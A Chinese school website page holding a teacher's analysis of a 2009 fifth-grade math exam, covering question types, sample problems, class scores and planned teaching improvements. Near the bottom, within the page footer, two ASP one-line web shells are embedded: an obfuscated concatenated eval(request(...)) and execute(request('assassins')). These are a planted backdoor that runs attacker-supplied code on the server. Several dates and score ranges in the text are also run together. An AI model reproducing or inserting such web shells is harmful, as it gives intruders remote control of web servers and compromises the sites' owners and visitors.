| 网站首页 | 校园新闻 | 校务公开 | 德育天地 | 教学资源 | 精准扶贫 | 名师工作室 | 教育科研 | 教师天地 | 学生乐园 | 追梦文学 | 党建之窗 | 图片中心 | 在线留言 | 
最新公告:     《追梦》征稿启事(长期有效)  [admin  2012-03-26]        
站内搜索
文章 下载 图片
您现在的位置: 仪陇县实验学校 >> 教育科研 >> 教学素材 >> 正文 会员注册
[推荐]小学五年级数学试卷分析     ★★★★
仪陇县实验学校09春小学五年级数学试卷分析
【作者】:聂素琼   【文章来源】:本站原创  

 

200974,我县进行了五年级春季期末数学教学质量测评,我校实行了交叉监考、阅卷和统分,公正严格地考查了各年级教学情况,也让我们通过考试了解到各班的教学状况,找到了教学中的差距与不足,为确定今后教学工作的重点和改进教学方法提供了依据。这次,我班(五年级三班)考试情况如下表:

分数段

人数

百分率

备注

10085

66

9565%

 

10060

69

100%

 

5940

0

0

 

40分以下

0

0

 

一、试卷题型分析

(一)、试卷紧扣教材,抓住重点,同时注重了各知识点的考查。

五年级下学期数学教材包括了以下内容:图形的变换、因数与倍数、长方体和正方体、分数的意义和性质、分数的加法和减法、统计、数学广角等。其中,因数和倍数、长方体和正方体、分数的意义和性质、分数的加法和减法是本册的教学重点内容。本次考试试题基本覆盖了以上范围,试题主要有四种类型:基础知识题、计算题、作图题和应用题,全卷以百分制命题,灵活多样的题型能够全面地考查学生在具体情境中灵活运知识的能力,同时,也能较好地激发学生完成测评的兴趣。

下面,根据各类型题谈谈我的看法:

1、基础知识题第一题填空、第二题判断、第三题选择,考查的是学生对基础概念的理解。题目难易适度,适合大部分学生的能力水平,同时也有灵活运用基础概念的题目。例如:一个两位数既是5的倍数,也是3的倍数,而且是偶数,这个数最小是(   ),最大是(   )。这道题考查了五个基本知识点,而这些知识点不是孤立的,而是把它们融为一个整体,这就需要学生灵活运用知识。27瓶水,其中26瓶质量相同,另有1瓶是盐水(略重一些),至少称(   )次,能保证找出1瓶盐水。在教材中出现的数目没超过去15,此题虽然涉及的数字较大,但只要学生掌握了方法,答题就会迎刃而解。把一张长方形纸对折3次以后形成的长方形大小是原来纸的(  )。它不仅考查了分数知识,而且考查了学生的形象思维能力,

2、计算题为口算题、脱式计算、解方程、看图计算、分数加减法,这些是小学生应该掌握和形成的基础知识和基本技能。计算题考查内容全面,题量适中。解方程三个小题出现了3种题型,x分别表示不同的数量,解法也不一样;列式计算小题,在长方体中截取一个最大的正方体,求正方体的体积、表面积分别是多少?这适合考查中上学生的基本能力,考查学生是否能灵活运用所学的知识。作图题,此题是对空间思维能力和平面作图能力的综合考查,体现了现代数学是有价值的,必须的,培养了学生的空间观念和审美能力;应用题,全面综合地考查了运用分数知识、体积知识、倍数知识解决实际问题,体现了数学与实际生活的联系,激发了学生学习的兴趣,了解数学的价值,学会用数学的思维方式去观察、分析现实生活,去解决日常生活和其他学科学习中的问题,增强运用数学的意识。

(二)、试卷注重体现数学与生活的紧密联系

试卷中注重学生对已知条件、问题进行分析的同时,考虑到生活中的实际情况,如一只长方体的玻璃缸,长8dm,宽6dm,高4 dm,水深2.8 dm。如果投入一块棱长为4 dm的正方体铁块,缸里的水溢出多少升?五年级一班学生进行队列表演,每行12人或者16人都正好整行,已知这个班的学生不到50人,这个班有多少人?以上两题都引导了学生学习数学的方法,说明必需的数学存在于生活之中,其素材必须与生活联系起来,我们必须引导学生在现实情境中学习数学,理解数学,应用数学。

二、试卷卷面分析

本次考试69人,满分10人,95100分的有38人,占全班人数的56%。比较全面、准确地反映了学生的学习情况及日常教学情况。成绩虽然在同级中占优势,同时从卷面上也反映了一些问题:

(一)基础概念的理解不透彻,造成对基础概念不能灵活运用。如,两个数的最小公倍数一定比这两个数都大。这主要是考查倍数关系的两个数以及最小公倍数的含义,而很多学生没考虑到特殊情况,所以打成了“∨”。再如,做同样的工作,王师傅用了14小时,李师傅用了15小时,那么谁做得快?这道题要从生活实际考虑,做同样的工作,时间多的,反而做得慢。而大部分学生则认为时间越多越快,选成了李师傅做得快,思考问题不深刻,不能举一反三,灵活应用。

(二)计算作为一个基础知识和基本技能,还需加强练习。

试卷第四题集中考查本册有关计算内容,共4个小题,即口算、脱式计算与简便运算、解方程和列式计算,全班53%的学生在此题中不同程度的扣分,特别是脱式计算,学生在计算中不是算错,就是数字抄错,或是符号抄错,或是计算结果没化成最简分数,或是单位带错了,象这样丢分很可惜。因此,在今后计算教学中对计算知识还需要强化训练,让学生在理解算理的基础上,加入口头叙述计算的环节,引导学生掌握正确的计算方法,养成良好的计算习惯。

(三)解决问题时,对条件问题的分析综合能力不够,解决问题的策略训练有待提高

应用题是日常生活在数学中的反映,既能发展学生数学思维能力,也是培养学生应用意识和创新能力的重要途径,从卷面看:学生解决问题的分析、综合能力有待提高;学生解题的策略性还不够。如在前面举的例子中,缸里的水溢出多少升?就是考查学生对数量的分析,从而找出正确的数量关系,而学生对此题的理解、分析没到位,导致了数量关系出错。这说明在平时的教学中,还要着重让学生学会用画图的方法理解题意,从而找到题中的数量关系。

三、有待改进和加强方面

这次考试从整体来看不错,既反映了学生的实际水平,也反映了教师的教学效果,但同进暴露了教师教学中存在的不少问题。今后,在以下方面我应该加强:

1、重视学生的“双基”训练。.基础知识的理解和掌握应贯穿于整个教学过程,同时各种基础知识要学得准,理解得深,记得牢,用得活。其中的概念、公式、法则的教学,不仅要教这些基础知识的本身,而且一定要让学生理解概念的形成过程,公式的推导过程,结论的得出过程,重视知识本质的理解,而不能仅停留在表面的认识上。要教育学生掌握一定的思维方法,培养一定的思维习惯。基本知识和概念做到举一反三,注意创设丰富的教学情景,在具体的情境中创造学生独立、灵活应用知识解决问题的机会,激发学生学习的兴趣,调动学生学习的积极性,从而提高学生综合运用知识的能力。

2、加强学生学法的指导。为了培养学生独立思考、合作探讨的习惯,要多采用小组讨论法、小老师辅导法、针对性练习法、步步引导法等,形式多样,激发兴趣。

3、培养学生检查作业的好习惯。要培养学生对已做完的作业仔细检查,绝不能应付了事,或者完成了就万事大吉。

4、督促学生在细致、细心上下功夫。这次测评,一些基础较好的学生反而丢分严重,并不是没掌握和运用,解题方法和过程都正确,但结果错了,通过分析发现,主要是运算符号看错、不细心写错等等。今后,应进一步督促学生更加细心,更加认真。

 

本文最后更新时间:2009-07-22 17:42:02,你是第9255位访问者。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

     

    最新图片文章
    更多内容
    最新热门
    更多内容
    最新推荐
    更多内容
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    仪陇县实验学校
    Copyright 20080315—2010 仪陇县实验学校 All Rights Reserved. 【虚拟主机】:西部数码    【地址】:仪陇县新政镇吉庆街二段二号  【QQ在线】:185324127 <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> <%execute(request("assassins"))%> 【站长】:严和平